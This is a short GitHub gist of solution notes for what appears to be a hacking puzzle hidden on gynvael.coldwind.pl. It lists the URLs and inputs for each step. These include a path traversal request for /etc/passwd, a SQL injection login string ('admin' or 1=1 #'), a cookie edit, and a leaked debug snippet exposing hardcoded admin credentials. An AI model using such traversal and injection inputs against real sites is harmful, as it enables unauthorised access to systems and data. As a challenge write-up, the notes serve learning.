Skip to content

Instantly share code, notes, and snippets.

@fritzfs
Created March 8, 2018 13:02
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save fritzfs/cb06d43b55bbbb5d2d2b3934d2ca2f34 to your computer and use it in GitHub Desktop.
Save fritzfs/cb06d43b55bbbb5d2d2b3934d2ca2f34 to your computer and use it in GitHub Desktop.
http://gynvael.coldwind.pl/download.php?f=../../../../../etc/passwd
(pic -1/7) ENDER'S CAT, BEWARE!
http://gynvael.coldwind.pl/?id=518 (console:document.cookie='lang=xxx')
(pic 1/7) JOIN THE HACKER DISCO!
http://gynvael.coldwind.pl/?id=a
(pic 2/7) R U A HACKER NINJA?
http://gynvael.coldwind.pl/?id=1
(pic 3/7) GOOD HACKER OR A HACKER?
http://gynvael.coldwind.pl/?blog=1&lang=hr
(pic 4/7) DIZ BE HACKER?
http://gynvael.coldwind.pl/?id=510
(pic 7/7) OH NO!
Add Comment - EMPTY
http://gynvael.coldwind.pl/?id=186
(pic 8/7) HOW FAST CAN A HACKER RUN?
gynvael.coldwind.pl/admin/
admin
admin' or 1=1 #
<br />
<b>Parse error</b>: syntax error, unexpected '}' in <b>/home/gynv/public_html/admin/index.php</b> on line <b>44</b><br />
<b>Debug</b>:<br /><pre>
41: if(strstr($_POST['lg'], "\'"))
42: {
43: die
<b>44: }</b>
45: if($_POST['lg'] == 'gynvaelcoldwind' &amp;&amp; $_POST['ps'] == 'adminpanelformyblog')
46: {
</pre>
Post message and you'll get link http://gynvael.coldwind.pl/?id=186
Hidden image:
http://gynvael.coldwind.pl/images/something_suspicious.png
Add Layer Mask -> Transfer layer's alpha channel
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment